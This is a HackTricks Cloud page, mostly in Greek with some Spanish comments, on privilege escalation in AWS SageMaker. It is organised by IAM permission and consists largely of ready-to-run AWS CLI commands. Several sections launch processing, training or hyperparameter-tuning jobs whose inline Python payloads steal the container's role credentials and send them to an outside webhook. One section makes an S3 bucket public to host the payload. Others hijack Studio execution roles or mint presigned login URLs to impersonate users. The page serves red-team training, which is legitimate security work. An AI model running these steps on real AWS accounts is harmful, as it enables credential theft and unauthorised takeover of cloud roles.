AWS - Sagemaker Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
AWS - Sagemaker Privesc
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
Ξεκινήστε τη δημιουργία ενός notebook με το IAM Role που επισυνάπτεται σε αυτό:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
Η απάντηση θα πρέπει να περιέχει ένα πεδίο NotebookInstanceArn, το οποίο θα περιέχει το ARN του νεοδημιουργημένου notebook instance. Στη συνέχεια, μπορούμε να χρησιμοποιήσουμε το API create-presigned-notebook-instance-url για να δημιουργήσουμε ένα URL που μπορούμε να χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση στο notebook instance μόλις είναι έτοιμο:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Πλοηγηθείτε στη διεύθυνση URL με το πρόγραμμα περιήγησης και κάντε κλικ στο `Open JupyterLab`` επάνω δεξιά, στη συνέχεια κατεβείτε στην καρτέλα “Launcher” και κάτω από την ενότητα “Other”, κάντε κλικ στο κουμπί “Terminal”.
Τώρα είναι δυνατό να αποκτήσετε πρόσβαση στα metadata credentials του IAM Role.
Πιθανός Αντίκτυπος: Privesc στο sagemaker service role που καθορίζεται.
sagemaker:CreatePresignedNotebookInstanceUrl
Εάν υπάρχουν Jupyter notebooks ήδη σε λειτουργία σε αυτό και μπορείτε να τα απαριθμήσετε με sagemaker:ListNotebookInstances (ή να τα εντοπίσετε με οποιονδήποτε άλλο τρόπο). Μπορείτε να δημιουργήσετε ένα URL για αυτά, να αποκτήσετε πρόσβαση και να κλέψετε τα διαπιστευτήρια όπως υποδείχθηκε στην προηγούμενη τεχνική.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Πιθανός Αντίκτυπος: Privesc to the sagemaker service role attached.
sagemaker:CreatePresignedDomainUrl
Warning
Αυτή η επίθεση λειτουργεί μόνο σε παλιά, παραδοσιακά SageMaker Studio domains, όχι σε αυτά που έχουν δημιουργηθεί από το SageMaker Unified Studio. Domains από το Unified Studio θα επιστρέψουν το σφάλμα: “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.
Μια ταυτότητα με άδεια να καλεί sagemaker:CreatePresignedDomainUrl σε ένα στοχευμένο Studio UserProfile μπορεί να δημιουργήσει ένα login URL που αυθεντικοποιεί απευθείας στο SageMaker Studio ως το συγκεκριμένο profile. Αυτό δίνει στο πρόγραμμα περιήγησης του επιτιθέμενου μια Studio συνεδρία που κληρονομεί τα δικαιώματα ExecutionRole του profile και πλήρη πρόσβαση στο EFS-backed home και τις apps του profile. Δεν απαιτείται iam:PassRole ή πρόσβαση στο console.
Απαιτήσεις:
- Ένα SageMaker Studio
Domainκαι ένα στοχευμένοUserProfileεντός αυτού. - Το principal του επιτιθέμενου χρειάζεται
sagemaker:CreatePresignedDomainUrlστο στοχευμένοUserProfile(resource‑level) ή*.
Ελάχιστο παράδειγμα policy (περιορισμένο σε ένα UserProfile):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
Βήματα Κατάχρησης:
- Καταγράψτε ένα Studio Domain και UserProfiles που μπορείτε να στοχεύσετε
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
- Ελέγξτε αν δεν χρησιμοποιείται το unified studio (η επίθεση λειτουργεί μόνο σε παραδοσιακούς τομείς του SageMaker Studio)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
- Δημιουργήστε ένα presigned URL (έγκυρο για ~5 λεπτά κατά προεπιλογή)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
- Ανοίξτε το επιστρεφόμενο URL σε ένα πρόγραμμα περιήγησης για να συνδεθείτε στο Studio ως ο χρήστης-στόχος. Σε ένα τερματικό Jupyter μέσα στο Studio επαληθεύστε την ενεργή ταυτότητα ή εξάγετε το token:
aws sts get-caller-identity
Σημειώσεις:
--landing-uriμπορεί να παραληφθεί. Ορισμένες τιμές (π.χ.app:JupyterLab:/lab) ενδέχεται να απορριφθούν ανάλογα με το flavor/έκδοση του Studio; οι προεπιλογές συνήθως ανακατευθύνουν στην αρχική σελίδα του Studio και στη συνέχεια στο Jupyter.- Οι πολιτικές του Org/VPC endpoint περιορισμοί ενδέχεται ακόμα να μπλοκάρουν την πρόσβαση στο δίκτυο· το token minting δεν απαιτεί σύνδεση στην κονσόλα ή
iam:PassRole.
Potential Impact: Lateral movement and privilege escalation by assuming any Studio UserProfile whose ARN is permitted, inheriting its ExecutionRole and filesystem/apps.
sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments
Μια ταυτότητα με δικαίωμα να καλεί sagemaker:CreatePresignedMlflowTrackingServerUrl (και sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments για μετέπειτα πρόσβαση) για έναν στοχευμένο SageMaker MLflow Tracking Server μπορεί να δημιουργήσει ένα μονοχρηστικό presigned URL που αυθεντικοποιείται απευθείας στο managed MLflow UI για εκείνον τον server. Αυτό παρέχει την ίδια πρόσβαση που θα είχε ένας νόμιμος χρήστης στον server (προβολή/δημιουργία experiments και runs, και λήψη/ανέβασμα artifacts στο S3 artifact store του server).
Απαιτήσεις:
- Ένας SageMaker MLflow Tracking Server στον λογαριασμό/περιοχή και το όνομά του.
- The attacker principal needs
sagemaker:CreatePresignedMlflowTrackingServerUrlon the target MLflow Tracking Server resource (or*).
Βήματα Κατάχρησης:
- Καταγράψτε τους MLflow Tracking Servers που μπορείτε να στοχεύσετε και επιλέξτε ένα όνομα
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
- Δημιουργήστε ένα presigned MLflow UI URL (έγκυρο για σύντομο χρονικό διάστημα)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
- Ανοίξτε το επιστρεφόμενο URL σε έναν browser για να αποκτήσετε πρόσβαση στο MLflow UI ως αυθεντικοποιημένος χρήστης για τον συγκεκριμένο Tracking Server.
Πιθανές Επιπτώσεις: Άμεση πρόσβαση στο διαχειριζόμενο MLflow UI για τον στοχευμένο Tracking Server, επιτρέποντας την προβολή και τροποποίηση των experiments/runs και την ανάκτηση ή μεταφόρτωση των artifacts που αποθηκεύονται στο διαμορφωμένο S3 artifact store του server, εντός των δικαιωμάτων που επιβάλλει η διαμόρφωση του server.
sagemaker:CreateProcessingJob, iam:PassRole
An attacker with those permissions can make SageMaker execute a processing job with a SageMaker role attached to it. Επαναχρησιμοποιώντας ένα από τα AWS Deep Learning Containers που ήδη περιλαμβάνει Python (και εκτελώντας το job στην ίδια region με το URI), μπορείς να τρέξεις κώδικα inline χωρίς να χτίσεις δικές σου εικόνες:
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
Potential Impact: Privesc στον sagemaker ρόλο υπηρεσίας που αναφέρεται.
sagemaker:CreateTrainingJob, iam:PassRole
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να ξεκινήσει ένα training job που εκτελεί αυθαίρετο κώδικα με τον ρόλο που υποδεικνύεται. Χρησιμοποιώντας ένα επίσημο container του SageMaker και αντικαθιστώντας το entrypoint με ένα inline payload, δεν χρειάζεται να χτίσεις δικά σου images:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
Πιθανός Αντίκτυπος: Privesc στον συγκεκριμένο service role του SageMaker.
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να ξεκινήσει ένα HyperParameter Tuning Job που εκτελεί κώδικα ελεγχόμενο από τον επιτιθέμενο υπό τον παρεχόμενο ρόλο. Το Script mode απαιτεί το hosting του payload στο S3, αλλά όλα τα βήματα μπορούν να αυτοματοποιηθούν από το CLI:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'
aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"
cat <<'EOF' > /tmp/train.py
import os, time, urllib.request
def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)
if __name__ == "__main__":
main()
EOF
cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.
cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF
aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
Κάθε training που εκκινείται από τη διαδικασία εκτυπώνει τη μετρική και εξάγει τα credentials του υποδεικνυόμενου role.
sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Με την άδεια να ενημερώσει ένα SageMaker Studio προφίλ χρήστη, να δημιουργήσει μια app, ένα presigned URL προς την app και iam:PassRole, ένας επιτιθέμενος μπορεί να ορίσει το ExecutionRole σε οποιονδήποτε IAM role που το SageMaker service principal μπορεί να υποθέσει. Νέες Studio apps που ξεκινούν για αυτό το προφίλ θα τρέχουν με τον αντικαταστημένο role, παρέχοντας διαδραστικά αυξημένα δικαιώματα μέσω Jupyter terminals ή jobs που ξεκινούν από το Studio.
Warning
This attack requires that there are no applications in the profile or the app creation will fail with an error similar to:
An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.If there is any app you will needsagemaker:DeleteApppermission to delete them first.
Βήματα:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potential Impact: Privilege escalation στα δικαιώματα του καθορισμένου SageMaker ρόλου εκτέλεσης για διαδραστικές συνεδρίες Studio.
sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Με δικαιώματα για την ενημέρωση ενός SageMaker Studio Domain, τη δημιουργία ενός app, ενός presigned URL για το app, και το iam:PassRole, ένας attacker μπορεί να ορίσει το προεπιλεγμένο domain ExecutionRole σε οποιονδήποτε IAM role που μπορεί να αναλάβει το SageMaker service principal. Τα νέα Studio apps που θα εκκινηθούν για αυτό το profile θα τρέχουν με τον αλλαγμένο role, παρέχοντας interactive elevated permissions μέσω Jupyter terminals ή jobs που ξεκινούν από το Studio.
Warning
Η επίθεση αυτή απαιτεί να μην υπάρχουν εφαρμογές στο domain ή αλλιώς η δημιουργία του app θα αποτύχει με το σφάλμα:
An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.
Βήματα:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Πιθανός αντίκτυπος: Αναβάθμιση προνομίων στα δικαιώματα του καθορισμένου SageMaker execution role για διαδραστικές συνεδρίες Studio.
sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl
Ένας επιτιθέμενος με άδεια να δημιουργήσει ένα SageMaker Studio app για ένα στοχευόμενο UserProfile μπορεί να εκκινήσει ένα JupyterServer app που εκτελείται με το προφίλ ExecutionRole. Αυτό παρέχει διαδραστική πρόσβαση στα δικαιώματα του ρόλου μέσω τερματικών Jupyter ή εργασιών που εκκινούνται από το Studio.
Βήματα:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
Πιθανός Αντίκτυπος: Διαδραστική πρόσβαση στην SageMaker execution role που είναι συνδεδεμένη με το στοχευόμενο UserProfile.
iam:GetUser, datazone:CreateUserProfile
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να χορηγήσει σε έναν χρήστη πρόσβαση ως IAM user σε ένα Sagemaker Unified Studio Domain δημιουργώντας ένα DataZone User Profile για τον χρήστη.
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
Το URL του Unified Domain έχει την ακόλουθη μορφή: https://<domain-id>.sagemaker.<region>.on.aws/ (π.χ. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).
Πιθανός αντίκτυπος: Πρόσβαση στο Sagemaker Unified Studio Domain ως χρήστης, με δυνατότητα πρόσβασης σε όλους τους πόρους εντός του Sagemaker domain και ακόμη κλιμάκωσης προνομίων στο role που χρησιμοποιούν τα notebooks εντός του Sagemaker Unified Studio Domain.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

